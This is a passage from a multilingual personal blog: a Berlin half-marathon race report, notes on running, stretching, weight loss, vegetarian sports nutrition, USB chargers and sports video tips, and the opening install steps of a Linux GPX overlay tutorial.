Veille de course, pour éviter tout stress, je prépare tout, j'accroche le dossard, je prépare même mon petit dej du lendemain en faisant cuire mes pâtes ! On n'oublie pas de charger la montre, bien sûr.

Dossard accroché, affaires prêtes.

Finalement... le 7 avril 2024 arrive. Réveil 2 heures avant le début de course après une nuit un peu courte, petit déjeuner léger (40g de pâtes pesto déjà cuites la veille au soir, 2 ou 3 barres, une banane et un café). Avant de partir, je me note au marqueur dans la main quelques infos qui me seront utiles avant la course, mais aussi quand la lucidité viendra à manquer 😅.

Je m'étais noté de prendre un gel dans les 5 dernières minutes avant le départ de la course, au lieu de 15. Et les 4'30" était un pace visé pour la seconde moitié de course.

Je me remémore 2 ou 3 astuces données par Michel, notamment :

Ne pas se jeter sur la première table lors des ravitaillements, surpeuplée, mais aller plutôt vers les tables du fond où il y a moins de monde
S'échauffer en courant un peu avant le départ, et sauter sur place dans son sas pour garder le rythme cardiaque élevé juste avant le départ
Ne pas partir trop vite, respecter son allure prévue dès le début
Si positionné dans un sas plus rapide que son objectif, partir en fin de sas. Ce n'était pas mon cas, je devais donc me positionner en début de sas, chose que j'ai réussi à faire.
Quand maintenir un bon pace deviendra dur en fin de course, se fixer des mini objectifs sur un km. "Allez, encore un km à ce pace". Et arrivé en fin de km, se dire la même chose jusqu'au km d'après. Et répéter jusqu'à l'arrivée.

Arrivé dans mon sas, je paramètre ma montre sur "objectif de pace sur distance". Je mets 4'50" sur 21.4 kms, car oui, quand je franchirai la ligne, ma montre affichera à coup sûr plus de 21.0975 kms. Voulant courir à 4'50", rythme de ma montre, c'est ce que je devais faire. Ça se traduirait sûrement par du 4'52" au temps officiel.

Et puis... c'est le départ !

Globalement, la course se passe très bien. Je respecte à la lettre les 4'50". Je fais tous les ravitos prévus, même un de plus au km 5, car il fait chaud. Manque de pot, ils ne servent pas de l'eau claire mais un energy drink de Maurten. Pas aussi désaltérant, tant pis.

Arrivé au km 10, je tente une accélération. Ça fonctionne. Hormis sur 2 splits, je fais maintenant chaque km sous les 4'50". La coeur restera haut tout du long de la course, avec une moyenne à 183 bpm. La course se passe extrêmement bien jusqu'au km 17, où là ça commence à vraiment devenir difficile. On est dans des rues que je connais par coeur, je visualise le chemin restant jusqu'à l'arrivée. Ça semble interminable, alors on débranche le cerveau. J'aperçois un ravito, je l'avais pas prévu dans mon plan, mais j'ai soif. Je décide d'attraper un gobelet, mais comme d'habitude pas sur les premières tables, trop bondées. J'attends les dernières tables, je saisis ce qu'on me tend, meeerde c'est une banane, pas de l'eau, shit ! 🍌💩

Beaucoup de gens, les rues deviennes plus étroites à mesure qu'on approche de la fin. Un mec me tape dans le pied alors qu'on essaie tous les 2 de dépasser quelqu'un. Je vacille, manque de tomber mais ça passe. Eye contact, le mec s'excuse, tout va bien. Une espagnole se met à mon niveau, haletante, poussant des cris à chaque expiration, comme sur un court de tennis. Je me dit que ça va être long de supporter ça, mais elle est plus rapide que moi et finit par me distancer. Sprint final dans le dernier kilomètre (km 21 couru à 4'24" !), au loin j'aperçois la porte de Brandebourg. Au détour d'un virage, ma copine me hurle dessus pour m'encourager, je mets 2 secondes à comprendre. Plus que 200m, 100m... je me répète "aucun regret, donne tout !", je traverse la porte de Brandebourg, 50m... on fait le fier pour la photo finish, "lève les bras, ça fera stylé !"... et c'est fini ! Résultat : 1:41:51. PR 🎉.

Semi de Berlin 2024 sur Strava.

Pendant les jours qui ont précédé ce semi, j'ai fait beaucoup de recherches sur la course à pied, les chaussures, la foulée. J'ai découvert la clinique du coureur, et j'ai notamment écouté l'un des meilleurs podcasts ever sur la course : Plaques carbones inutiles, le fameux 180 pas par minute : Blaise Dubois démonte des mythes !. Ce que j'en retiens ?

Chaussures plus légères = meilleures performances, consensus scientifique sur ça.
Le volume kilométrique est la clé du succès d'une préparation, c'est le plus gros facteur. Mais il faut être progressif, on ne se met pas à courir 100 kms par semaine du jour au lendemain. Changer son volume soudainement = blessure presque garantie. 80% du volume couru sur une semaine devrait d'ailleurs l'être en endurance fondamentale. Les 20% restants seront des séances dites "de qualité", où l'on travaillera des allures, du seuil, fera du fractionné, etc.
Il faut mettre 6 heures entre 2 runs sur une même journée
Il est meilleur de courir 5 fois ou plus par semaine, que moins
Il vaut courir autour de 180 pas par minute (plus ou moins) en faisant le moins de bruit possible, avec des chaussures auxquelles on est habitué. Qu'il s'agisse de minimalistes ou maximalistes n'a à priori pas d'impact sur la performance, pour peu que l'on soit habitué à ces chaussures, seul le poids en a réellement.

Tous ces bullet points sont résumés en 1 minute, dans cette vidéo, à partir de 1:09:54.

Par contre, peu ou pas de consensus sur le type de foulée, la longueur, le nombre de pas exact, le meilleur type de chaussures (maximaliste ou minimaliste), les plaques carbones, etc. Mais plutôt des observations, des tendances et des conseils. Par exemple, les chaussures maximalistes ont tendance à changer notre bio-mécanique (donc notre foulée), favorisant une attaque talon. Les chaussures minimalistes peuvent aider à prévenir les blessures sur le long terme, lorsqu'on est habitué à courir en minimaliste. Mais on ne passe pas de maximaliste à minimaliste du jour au lendemain, sinon blessure ! La clinique du coureur propose d'ailleurs un indice de minimalisme pour les chaussures les plus courantes, sur leur site. Courir tous les jours peut aussi aider à prévenir les blessures, à l'inverse de quelques fois par semaine.

J'ai aussi pu voir dans une autre vidéo qu'il est important de travailler l'allure spécifique dans les 30 derniers pour cents d'une préparation, et de ne pas axer aveuglement sa préparation que sur la VMA, car c'est une indicateur loin d'être parfait. Enfin, je me suis intéressé un peu à ma foulée, et comment essayer de l'améliorer

BREF. Ça fait que 3 mois et demi que l'année est commencée, et j'ai déjà appris tellement de choses. Kms so far : 327. ✌

La Maison Individuelle

2024-02-28T12:00:00+01:00

Envoyé spécial - Maison, la fin d'un rêve ?

Ziele für 2024

2024-02-18T15:00:00+01:00

Hier ist er! Mein ester Artikel auf Deutsch. Für ein sehr besonderes Jahr.

In die letzte Jahre habe ich mich auf Renrad fahren konzentriert. Seit letzes Jahr mache ich mehr: Laufen, Schwimmen, Gewichtheben.

Dieses Jahr, ich will ein Läufer werden. Und ich will auch mein Deutsch verbessern. 😁 Sooo hier ist mein Plan, und meine 3 Ziele für 2024:

Erreichen dem Niveau B2 auf Deutsch 😱
Beenden ein Marathon 😱
Ein Sixpack zu bekommen 😂 (ich bin seriös!)

Last year in August, I set 2 goals for myself:

Lose weight down to 75kg while losing mostly fat and trying to gain muscle (body recomposition): ✅
Improve my flexibility and reach my toes with my fingers: ✅

This year, I'm aiming bigger. 2 months ago, to work towards these goals, I created weekly goals for myself. After trialing them for many weeks, I've been able to identify what works for me and what's unrealistic, and correct some of them. Here they are:

🏊 Swim 1k (just so that I don't drown in my next triathlon)
🏃 Run 15k (I expect to do more every week, but I don't want to pressure myself with some high number)
🦶 Fascia stretching and muscle strengthening twice
🧘 Fingers to toes twice (flexibility)
🏋️ Workout:
- Abs twice
- Pecs once
- Biceps + triceps once
- Shoulders once
🇩🇪 30 minutes of German everyday

Last year, I wrote in my August article about my daily routine. This thing never really worked for me. It stuck for a month or two and then I gradually gave up, it was too demanding, 20+ minutes per day, on top of everything else. So this year I'm ditching it. Instead, I'll focus on fixing up my fascia and strengthening my muscles. I'll try to keep working on my flexibility though, but I don't want nor need it to be a goal.

Running milestones for 2024

This year, I'll be taking part in multiple competitions:

A half-marathon
The Berliner Firmenlauf: 5.5kms
The 25 kilometers of Berlin
A small triathlon, where the running part is only 5km-long
And finally, to wrap up the year, a full marathon!

Having these regular milestones should make this goal a little more achievable and less frightening.

I'll try and keep this article updated as I make progress towards these goals. :) Bis nächtes Mal!

PS: I'll try to write auf Deutsch from now on too, from time to time. Emphasize on try :D

The Ultimate Sports Video

2024-02-14T23:30:00+01:00

I'm on a mission. A quest. A quest to make great sports videos.

I watch Youtube a lot. Too much. Loads of ski and bike videos. And very often, I stumble upon videos which leave me speechless. Well edited, nice shots, action-oriented, upbeat music, you name it.

Recently, it was these three:

So I thought I'd just start collecting ideas about what makes a great video great!

Ski videos

Here my conclusion is that it all depends on the music. I would recommend to pick the music before starting any editing. I find songs of alternating fast phases and slow phases the best, as you can sort of tell a story. When the rythm is fast and energetic, you can cram in as much action as you want. When it's more relaxed, it's easy to switch to contemplative scenes, landscapes, etc. Here is a music creator on Youtube, who makes great background music for sports-oriented videos. Here's another channel.

Regarding the shots now.

Avoid shooting in shadow, prefer under sunrays. Likewise, avoid cloudy weather. Foggy weather on the flip side can be nice for a change, for one or two scenes.
Target people, ideally one person, instead of a group, when skiing. A group is fine on a chairlift, or when everyone has come to a stop.
Avoid filming people's back. Prefer skiiing by their side (close to them, or at a distance), or ahead of them. It's better to see people's faces.
Most of the time, film people closely. I find shots where the suject is getting closer and then farther away pretty cool, when there's movement. Likewise, overtaking someone at high speed (or being overtaken) makes really nice shots. But if you're to maintain the same distance, remain close as much as possible.
Fast-paced skiing scenes are better than slow ones :) except if the subject ends up falling 😁
Don't forget to record landscapes, mountains, sunsets, etc. Film while being on a chairlift. These scenes are nice for moments when the music slows down.
Shoot when the sun is out and at sunset/sunrise, when it's very low in the sky. Alternating between different times of the day helps tell a story in a video. For instance, sunsets are nice to end a video.
Record at 50FPS at times, when the scene has potential to be slowed down. When editing the video, consider speeding up some landscape shots too (or shots of crowds, cities, etc).
Carving shots make an impression! For these shots, it's fine to film a subject from behind.

Cycling videos

So far, I have not given these types of videos much thought. I'll make sure to come back here and update this article when I do so.

Oh and by the way... Here's my latest attempt at making a cool video 😎:

Life Hacks: a collection of links

2023-12-20T15:46:00+01:00

Chargers

2023-11-17T20:00:00+01:00

The year is 2023 and chargers have gotten incredibly complex and powerful. As I was browsing the web, trying to get my hands on a good one that would allow me to charge any device, I though it deserved an article and some explanations.

USB 1.x, USB 2.x, USB 3.x, USB4

From Wikipedia, these are specifications of "an industry standard that allows data exchange and delivery of power between many various types of electronics".

USB 3 is notoriously known for its blue port. "USB4 mandates the exclusive use of the Type-C connector and USB Power Delivery (USB-PD) specification", says Wikipedia.

USB-C 1 & USB-C 2

Two different revisions of the "new" USB-C connector. The revision 2 comes with newer capabilities (for instance enhanced power delivery). See Wikipedia for more information.

PD (Power Delivery)

The official page says it best:

USB has evolved from a data interface capable of supplying limited power to a primary provider of power with a data interface. Today many devices charge or get their power from USB. USB has become a ubiquitous power socket for many small devices such as cell phones, tablets, portable speakers and other hand-held devices. Users need USB to fulfil their requirements not only in terms of data but also to provide power to, or charge, their devices simply, often without the need to load a driver, in order to carry out “traditional” USB functions.

The USB Power Delivery (USB PD) Specification enables the maximum functionality of USB by providing more flexible power delivery along with data over a single cable. Its aim is to operate with and build on the existing USB ecosystem.

Announced in 2021, the USB PD Revision 3.1 specification is a major update to enable delivering up to 240W of power over full featured USB Type-C® cable and connector. Prior to this update, USB PD was limited to 100W using a solution based on 20V using USB Type-C cables rated at 5A. The USB Type-C specification has also been updated to Release 2.1 to define 240W cable requirements, and with the updated USB PD protocol and power supply definition, this extends the applicability of USB power delivery to a large number of applications where 100W wasn't adequate.

In other words, it's a capability to deliver more power through USB, so as to charge devices.

PPS (Programmable Power Supply)

From Wikipedia:

The USB Power Delivery specification revision 3.0 defines an optional Programmable Power Supply (PPS) protocol that allows granular control over VBUS power, allowing a range of 3.3 to 21 V in 20 mV steps to facilitate constant-current or constant-voltage charging.

iQ3 / PowerIQ 3.0 / PIQ 3.0 (or version 4...)

From Reddit:

PowerIQ 3.0 is Anker's version of Quick Charge 4+

Also from another Reddit page:

Power IQ 4.0 means that the device supports USB power delivery 3.1 and all Power IQ 4.0 devices include PPS.

Quick Charge (QC)

From Wikipedia:

Quick Charge (QC) is a proprietary battery charging protocol developed by Qualcomm, used for managing power delivered over USB, mainly by communicating to the power supply and negotiating a voltage. Quick Charge is supported by devices such as mobile phones which run on Qualcomm SoCs, and by some chargers; both device and charger must support QC, otherwise QC charging is not attained.

GaN, GaN 2, GaNPrime

Different generations of Gallium Nitride chargers from Anker, from oldest to newest. Those chargers are generally smaller and cooler (less heat) than other non-GaN chargers. More info on Reddit. Other brands manufacture GaN chargers, not just Anker.

What do buy

Anker USB C Charger (Nano II 65W) USB-C 65W Pod 3-Port PPS Fast Charger, Compact USB-C Power Supply seems to be a good option, price-wise and feature-wise.

For some extra euros, one can get PowerIQ 4: Anker USB C Charger, 735 (GaNPrime 65W) Fast and Compact 3-Port

Ugreen is another great brand I would have considered.

That's it!

Running and Pronation

2023-10-01T02:00:00+02:00

So I've been a """runner""" for quite some time now and I'm just discovering what pronation is. Apparently most people are pronated, some are supinated, and very few are normal (or neutral). I fall in the first category/neutral, based on the study of the wear of my shoes.

Being pronated means that, while standing (not moving), one's foot naturally leans inward (towards the other leg). Being supinated is the opposite, one's foot leans outward.

This also means that pronated runners tend to have the outmost part of their feet land slightly first when running, then feet roll progressively towards the inside (towards the other leg) until the full body weight is on one foot.

Here are two videos to help you figure out which category you fall in:

These days I'm looking into buying a new pair of shoes. Apparently, Asics' Gel-Kayano model is a popular one among pronated runners, supposedly their top pair of shoes. I'll update this article with some feedback about them if I end up buying them...

Finally, here are videos on how to properly run:

2024-03-30: Update on the shoes I bought

So I bought the Asics Gel Kayano 30, and I've got to say I'm very satisfied with them (more than 200 kms so far).

2024-03-30: Update on shoes I'll be considering in the future, for race days

Tip for myself: always get a half size to full size up pair of shoes, as feet expand while running.

Saucony endorphin pro 3: it's got a carbon plate. Good for race days. Here's a good review.
Saucony endorphin speed 3. Apparently they're considerably not as good as the pro 3 for racing.
Asics Metaspeed Sky Paris
Asics Metaspeed Sky+: it also has a carbon plate. For race days. Here's a breakdown on Asics Speed Line.. Asics says the Sky+ are for stride runners, while the Metaspeed Edge+ are for cadence runners (runners who mostly increase speed by increasing their cadence, as opposed to their stride length). There's also some differences with the regular Metaspeed Sky (not +).
Asics Magic Speed 3: carbon plate too. People say it lacks superfoam, that's why it is not a very popular racing pair of shoes. Comments often say the Metaspeed Sky+ is like the magic speed 3 on steroids.
Asics SuperBlast: reportedly not as fast as the Metaspeed, and meant for long distances or daily runs while the Metaspeed are meant for racing
I should also probably consider a non-stability pair of shoes for training, like the Asics Nimbus 30, which are their top neutral shoes, while the Kayano are their top stability shoes. Having a rotation of shoes is healthier, supposedly.
Nike Air Zoom Alphafly NEXT%: apparently the best racing shoe made by Nike. Kelvin Kiptum broke the official marathon world record in 2023 wearing the Alphafly 3.
Nike ZoomX Vaporfly NEXT%: their second best racing shoe.
Nike Air Zoom Tempo NEXT%: their best training shoe.

Objectif 75 kg et toucher le sol

2023-08-27T18:00:00+02:00

Les choses sont dites : voilà mes 2 objectifs fixés pour cette fin d'année 2023. 4 mois pour les atteindre. De nombreuses heures passées sur Youtube. Cet article en est une synthèse.

Je pèse actuellement un peu moins de 80 kg (j'étais à 80 il y a quelques semaines) pour 1m87 et j'ai donc pour objectif d'atteindre 75 kg de manière stable d'ici à la fin de l'année. De manière stable, c'est-à-dire idéalement dès fin Octobre, et être capable de conserver ce poids pendant les mois de Novembre et Décember sans trop d'efforts ni faire attention à ce que je mange. Pourquoi ? Pour m'améliorer à la course à pied mais surtout au vélo, et particulièrement en montagne. Aussi pour essayer de redessiner un peu ce qu'il y a devant mes abdos, mais ça c'est du bonus !

Concernant ma flexibilité, mon focus sera porté sur mes jambes et notamment ma partie postérieure. Mon exercice de réference sera celui où l'on se penche en avant, en étant debout sur ses jambes tendues, en essayant de toucher le sol avec ses mains. Je pars de loin, très loin : aujourd'hui j'arrive à descendre mes mains à 22cm du sol maximum, pas plus bas. Le but est donc d'atteindre zéro d'ici à la fin de l'année. Pas forcément les mains à plat au sol, mais au moins toucher le sol du bout des doigts. Pourquoi ? Pareil, pour les performances sportives, parait-il que cela aide. Mais aussi car je me suis rendu compte que j'étais raide comme un piquet. 😁

Mon objectif n'est pas mettre les mains au sol, juste toucher du bout des doigts

Comment

Pour le poids

Sur le papier c'est plutôt simple, rééquilibrage alimentaire (adieu les chips et le pesto 3 fois par semaine), réduire un peu les quantités (pour atteindre un léger déficit calorique de 25% maximum), et augmenter légèrement le dose de sport hebdomadaire.

Alimentation

Rééquilibrer son alimentation passe par comprendre et connaitre ce que l'on mange. Pour la plupart des produits autres que fruits et légumes que l'on mange, il est écrit au dos la quantité de kilocalories et macro-nutriments (protéines/glucides/lipides). Pour perdre du poids, tout en évitant de perdre trop de masse musculaire (les muscles sont des réserves d'énergie utilisées par le corps en priorité lorsque de l'on est en déficit calorique, avant d'aller chercher dans le gras), il est important d'augmenter son apport en protéines, et de réduire son apport en lipides au minimum vital (j'ai lu quelque part 0.8g par kilo de masse sèche par jour - quelqu'un pesant 80kg et ayant 20% de graisse, donc 64 kg sec, devra manger 64 kg * 0.8 = 51g de lipides par jour). Un bon objectif d'apport en protéines par jour peut être 1.8g/kg de masse sèche (115g par jour pour une personne de 80kg avec 20% de graisse). À savoir que l'apport de base recommandé en France pour une personne est de 0.83g/kg.

Deux vidéos Youtube en particulier m'ont beaucoup aidé sur le sujet :

La deuxième vidéo m'a permis de calculer ma consommation calorique quotidienne approximative (en prenant en compte le sport) et donc d'en déduire quels grammages viser pour chaque macro-nutriment, pour ce rééquilibrage alimentaire et ce déficit calorique d'environ 25%.

Sur une base de 0.8g de lipides/kg sec et par jour, et 1.8g de protéines/kg sec et par jour, voici ce que je vise:

Macronutriments	g	kcal	% total
Protéines	115	461	26%
Glucides	207	828	47%
Lipides	51	461	26%
Total	-	1750	100%

(et c'est là que je me rend compte que je mangeais de base vraiment pas assez de protéines)

Ensuite c'est simple, il suffit de peser, noter et compter tout ce que l'on mange, en partant de l'étiquette du produit que l'on mange, ou si l'information est manquante en allant voir sur les-calories.com. Voilà par exemple mon dernier repas :

Pas mal équilibré non ?

Ici par exemple, sur l'étiquette du Quinoa il était noté que 100g contenait 351 kcal, 14.8g de protéines, 58.5g de glucides, et 5g de lipides.

Pour finir, il est important de noter qu'en étant végétarien il peut être difficile de réussir à ingérer autant de protéines par jour. Une manière simple et efficace pour y remédier pourra être d'utiliser des compléments alimentaires, comme la Whey, bien connue des adeptes de la musculation, trouvable dans n'importe quel Décathlon, solution pour laquelle j'ai optée.

Puisque je vais augmenter mon apport en protéines, autant favoriser leur assimilation. Apporter trop de protéines d'un coup dans un repas ne sera pas bénéfique car le corps ne pourra pas tout utiliser. Il est intéressant donc de rajouter une ou deux collations par jour, 30 à 60 minutes avant le déjeuner et le diner. Si ça tombe sur une journée avec séance de musculation, la collation se fera juste après la séance. Associer à 30g de Whey un fruit, pour éviter que les protéines ne soient transformées en sucres (comme expliqué dans cette vidéo à 7'26).

Voilà d'autres vidéos sur le sujet, tout aussi intéressantes :

Sport

Pour le sport, pas dur, je faisais déjà du sport intensif en moyenne 2 à 3 fois par semaine (vélo de route + course à pied), sans compter les trajets quotidiens à vélo en ville ni mes marches à pied de 30 min quasi-quotidiennes. J'ai simplement décidé de rajouter une ou deux activités supplémentaires par semaine : soit une séance de musculation (30min max) du haut du corps (bras ou perctoraux, là où ça ne risque pas de nuire à ma recherche de souplesse donc), soit une session de yoga ou de mobilité/étirements. J'ai aussi rendu ma marche quotidienne non optionnelle. Ça devrait suffire...

Enfin, pour suivre l'évolution de mon poids, nouvelle habitude, une pesée chaque matin après un passage aux toilettes mais avant de se réhydrater, pour avoir des conditions le plus similaires possible chaque jour.

Pour la flexibilité

Pour ce second objectif, vu que je pars de loin, je m'attends à voir des résultats assez rapidement, avant que ma progression ne commence à ralentir. Pour travailler ma flexibilité, je vais donc miser sur :

une session une fois par semaine de yoga (au moins 30 minutes), remplaçable par une session de mobilité et étirements
une routine quotidienne de moins de 20 minutes de mobilité et étirements

Bon à savoir : lorsqu'on s'étire, il ne faut jamais atteindre la douleur, au risque de se blesser, seulement atteindre une sensation d'incomfort. L'idéal est de ne pas faire durer chaque répétition plus de 30 secondes. 2, 3 ou 4 répétitions par exercice par séance d'étirement donne de bons résultats. Il faut aussi faire un mélange d'exercices statiques (sans mouvement) + passifs (sans contraction musculaire) et d'exercices dynamiques (avec mouvement) + actifs (muscle opposés solicités pour étirer).

Différences entre statique, passif, dynamique et actif

Pour ma routine quotidienne donc, pareil, beaucoup d'heures passées sur Youtube. La conclusion de ces recherches est la suivante :

Relaxation de la nuque, 5 rotations lentes de la tête en la faisant pencher dans un sens, 5 dans l'autre.
Correction de la posture de la colonne vertébrale contre un mur : 10 reps
Allongé sur le dos, jambes en tailleur, pieds joints, laisser les jambes tomber sur le côté sans forcer, 30 secondes.
Assis en tailleur, dos droit incliné vers l'avant, pieds joints tenus par les mains, on appuie légèrement graduellement sur les mollets avec les avant-bras pour ramener les genoux le plus bas possible. 2 reps, 30 secondes chacune. Version dynamique en appuyant par à-coups sur les cuisses, et non progressivement, mais lentement quand même.
Allongé sur le dos, croiser la cheville droite sur la cuisse gauche. Attraper la cuisse gauche derrière le genou, la tête posée sur le sol et tirer la vers jambe vers le buste progressivement. 2 reps de 30 secondes pour chaque jambe.
1 minute de neurodynamique du nerf sciatique : voir Comment TOUCHER SES PIEDS? ( routine COMPLÈTE expliquée ) à partir de 6'30.
Debout, se pencher en avant, les mains qui pendent vers le sol, en respirant lentement : à chaque respiration, essayer de descendre un peu plus bas et toucher les mains au sol. 2 reps, 30 secondes chacune. Cela permet d'étirer les muscles ischio-jambiers. Exercice alternatif : assis, une jambe tendue, l'autre pliée avec le pied contre la cuisse opposée. On essaie d'atteindre chaque pied en alternant les jambes.
Debout, un pied devant l’autre, la jambe avant fléchie et la jambe arrière tendue. Pousser le talon de la jambe arrière dans le sol, garder le buste droit (les mains sur la taille). Cet exercice peut être fait face à un mur comme support. 2 reps de 30 secondes chacune par jambe. Permet de travailler les mollets.
Le classique étirement du psoas, en partant d'une position de chevalier au sol, un genoux en sol, le pied à l'arrière posé à l'envers, et en s'avançant vers l'avant, dos droit. 2 reps de 30 secondes par jambes
Allongé au sol à côté d'un mur, caler les fesses contre le sol et le mur, jambes en l'air le plus droit possible contre le mur à la verticale. Plier les genoux si trop difficile. 30 secondes.
Optionnel, en cas de fasciite plantaire: aller voir cet article (6 * 30 reps sur un pied (protocole de Stanish) avec du poids, en portant des altères par exemple). Idéalement il faudrait faire ces exercices plusieurs fois par jour pour vraiment accélérer la guérison.
On peut rajouter en bonus si on a le temps un squat de 30 secondes, les pieds à plat si possible, le plus bas possible, les mains liées bien en avant pour faire contre poids.

La routine de Bob Anderson est une alternative classique à ma routine quotidienne, assez répandue.

D'autres routines que j'aime bien :

Beginner stretching routine! For TikTok
What stretches to do in 10 minutes. Follow along.
Souplesse & Mobilité à Suivre en 15min ✔️ (Tout le corps sans matériel)
Comment TOUCHER SES PIEDS? ( routine COMPLÈTE expliquée )
Comment Corriger Sa Posture En 10 Minutes ! (POUR TOUJOURS)
FIX Tight Hamstrings in Just 3 Steps
Une routine axée sur la course à pied : 5' par jour d'exercices de mobilité = moins de blessures ET plus de performance
Une routine qui travaille la mobilité : DEBLOQUE ta MOBILITE en 5 minutes avec cette ROUTINE ultra COMPLETE.
Une routine pour travailler ses splits : Comment Devenir Souple TRÈS Vite ✔️ (j'ai essayé...)

Pour aller plus loin sur le sujet de la souplesse, quelques liens :

Le travail de la mobilité pour être plus performant et éviter les blessures
Aucun étirement pré activité physique (course à pied, vélo, etc), seulement des échauffements. Quant aux étirements post-exercice, ils ne sont pas forcément utiles, cela dépends des gens : Quand faut il s'étirer ? kiné. À 3'10, la vidéo parle des étirements statiques (afin de réduire des douleurs) vs exercices de mobilité dynamiques (pour gagner en amplitude de mouvement).

RDV dans 4 mois 😉

Mise à jour : 2023-11-01

Ça y est je viens de toucher le sol, il y a quelques minutes !!! Et pas qu'une fois ! Techniquement, on était encore le 31 Octobre ! Bon, de la pointe de doigts certes mais c'était mon objectif !

Depuis deux mois, après une progression rapide les premiers jours, j'ai été de moins en moins assidu, au point de ne m'étirer presque plus qu'une fois par semaine. Alors il y a plusieurs jours, je me suis repris en main, étirements tous les jours, et depuis 2 jours, 3 fois par jours ! Et là, miracle, progression de ouf ! Jusqu'à aujourd'hui : après 10 minutes passées à descrendre progressivement, j'y suis arrivé, j'ai touché le sol ! Allez, on continue comme ça, objectif pour fin décembre : ne plus mettre 10 minutes à toucher le sol, mais quelques minutes, idéalement presque réussir à froid ? Ça s'annonce pas simple :D

Concernant le poids, le graphe parle de lui-même... 🎉

Évolution de mon poids de fin Août à fin Octobre 2023

Maintenant, on stabilise ça jusqu'à fin décembre, et on essaye de moins compter les calories !

Mise à jour : 2024-01-13

Annnd it's a wrap! Ça y est, les 4 mois sont passés. Où en suis-je ? Y suis-je parvenu ? Ai-je maintenu mes 75 kgs ? Est-ce que je touche toujours le sol avec mes doigts ? OUI et OUI ! 🎉

Évolution de mon poids de fin Août à début 2024

Indéniablement, le mois de décembre aura fait quelques dégats, mais rien d'irréparable ! On continue tout ça sur 2024 maintenant ! :)

Cycling and Being Vegetarian

2023-08-06T20:00:00+02:00

Let's face it: nutrition is not an easy topic. And it gets even harder when you're vegetarian and you like to exercise a little more than the average person.

I've read many articles, some good, some bad, but at the end of the day what I really want and need is a list of recipes for:

My everyday life, to remain fit, healthy, and maximize muscle recovery after my weekend rides.
Races: I'm never so sure what to eat on the days leading up to the race, during the race, and after.

So here goes. This article will cover some basics and give a couple of recipes.

Basics

Any cyclist (or athlete really) needs proteins and nutrients to perform well on the bike but also promote recovery.

First, vocabulary

Grains are the seeds of grasses. Examples include: wheat, corn, oats, and rice
Pulses are the seeds of legumes. Examples include: beans, peas, lentils, soybeans, peanuts, and chickpeas.
Nuts are the seeds of trees. Examples include: walnuts, hazelnuts, and pecans.

Proteins

As a vegetarian, proteins can be found in:

Dairy foods
Eggs
Nuts
Seeds
Beans
Lentils
Soya products (tofu, tempeh)
Wholegrains (such as bread, oats, pasta, rice and millet)
Quinoa

Only chia seeds, soya and quinoa have all 8 essential amino acids. (are there 8 or 9 essential amino acids?)

The solution is to combine different sources of proteins:

grains with pulses (céréales et légumineuses): rice/whole wheat pasta and black beans/kidney beans, rice and lentils
grains with dairy: muesli and milk, porridge (rolled oats (flocons d'avoine) and milk) - apparently (raw overnight oats are healthier than cooked oats)[https://simplyoatmeal.com/benefits-of-overnight-oats-vs-cooked-oats/]
soya with vegetables: tofu and vegetable stir-fry
grains or pulses with nuts
dairy or eggs with vegetables

Iron

The type of iron found in plants is less easy for your body to absorb than is the iron found in meat. However, you can increase the amount absorbed by eating a vitamin C-rich food (i.e. fruit, vegetables) at the same time as iron-rich foods. -- (source)

Good plant sources of iron include:

Wholegrains
Quinoa
Nuts
Seeds
Beans
Lentils
Leafy green vegetables: spinach, broccoli, etc
Dried fruit
Egg yolk

Good sources of vitamin C are:

Cooked broccoli
Brussels sprouts
Kale (chou frisé)
Raw spinach
Kiwis
Oranges
Strawberries
Lemons

Vinegar also helps with iron absorption.

Omega-3

Oomega-3 fats are found in three different forms: DHA, EPA and ALA. ALA is most abundant in plant-based sources, but DHA and EPA are difficult to obtain on a vegetarian diet.

Also, omega-3 rich food is also usually rich in omega-6. It is recommended to preserve a balance omega-6/omega-3 pretty low, around 4:1.

Sources of omega-3 fats are:

Flax seeds (graines de lin) (great omega-6/omega-3 ratio: 1:4)
Chia seeds (omega-6/omega-3 ratio: 1:3) - ground seeds are better than whole seeds when it comes to omega-3 availability
Walnuts (4:1)
Kidney Beans (1:2)
Pumpkin seeds (100:1)

These provide alpha linoleic acid (ALA), which is converted to EPA and DHA in the body, but only at a limited rate. A good way to get more EPA and DHA is through Algal oil. Seaweed, nori, spirulina, and chlorella are different forms of algae containing DHA and EPA.

B12

As a vegetarian, B12 is normally never an issue.

Some ideas of recipes

Everyday life

Very often

1 tablespoon a day of chia seeds or flax seeds for omega-3, in a salad, in a dairy product, or in anything really
Any combination of grains with pulses such as pasta (whole wheat) or rice with lentils or beans
Quinoa
Leafy greens: Kale, Spinach, Broccoli, Iceberg lettuce, etc
Nuts: cashews, or walnuts being the best of all. In a salad or yogurt. Nuts are calorically dense, so limit to a small handful per day.

Often

Eggs
Tofu
Dairy products (avoid cheese as there's a lot of fat): yogurts or Skyr, with rolled oats or muesli, and flex seeds
Other pulses: chickpeas, green peas
Tomatoes: vitamin C and antioxidant

Things to eat rarely

White pasta (prefer whole wheat pasta, as it contains less carbs (carbohydrates, glucides) and a lot more nutrients)
Processed protein sources such as seitan: unhealthy fats
Cookings oils (olive oil is mostly ok though and has other advantages)

Races (> 2 hours, or cyclosportive)

Days before (2-3 days)

Carb loading! Porridge, bread, potatoes, rice, pasta. On the night prior to the race, prefer whole wheat pasta as its more nutritious, but in the morning before the race, prefer white pasta, as you'll need more energy and you'll want it available faster.

On the D-Day

For breakfast, my go-to recipe is porridge (overnight soaked rolled oats with cow's milk) or muesli mix served with Skyr and a sliced banana, one or two fried eggs, and some white pasta. Make sure to eat at least 3 hours before the start.

During the race, energy bars, gels, some dried fruits and bananas should do. Do drink clean water but also water with added electrolytes.

Replenish your carbohydrates stocks after the race with pasta, but also protein-rich food.

Good online resources

Creating GPX overlay videos on Linux

2023-07-26T17:30:00+02:00

Just because I found this article so good but a bit too long, I'm creating my own.

Up until now, I was relying on the infamous Virb Edit program from Garmin to create videos with GPX data on top. But this software is only available on Mac and Windows, and also outdated and unmaintained, it does not support HEVC videos. So I started looking for another solution that would work on Linux and be ideally dead simple, with no GUI. Also, I was very tired of having to export the GPX data on top of an existing video. Wouldn't it be great to be able to export a video with a transparent background, that I can then put on top of any other footage? GoPro videos, Insta360 videos, any! That would preserve the quality of the video (no need to re-encode it in Virb and then in the final montage software).

I found salvation in gopro-dashboard-overlay! It does all of that! No GUI, can export just a transparent video with the GPX data only but also on top of an existing footage, supports as many formats and codecs as does FFMPEG, and of course works on Linux!

So here is my TL;DR tutorial on how to use it:

1. Install the project

git clone git@github.com:time4tea/gopro-dashboard-overlay.git
cd gopro-dashboard-overlay
python3 -m venv .env
source .env/bin/activate
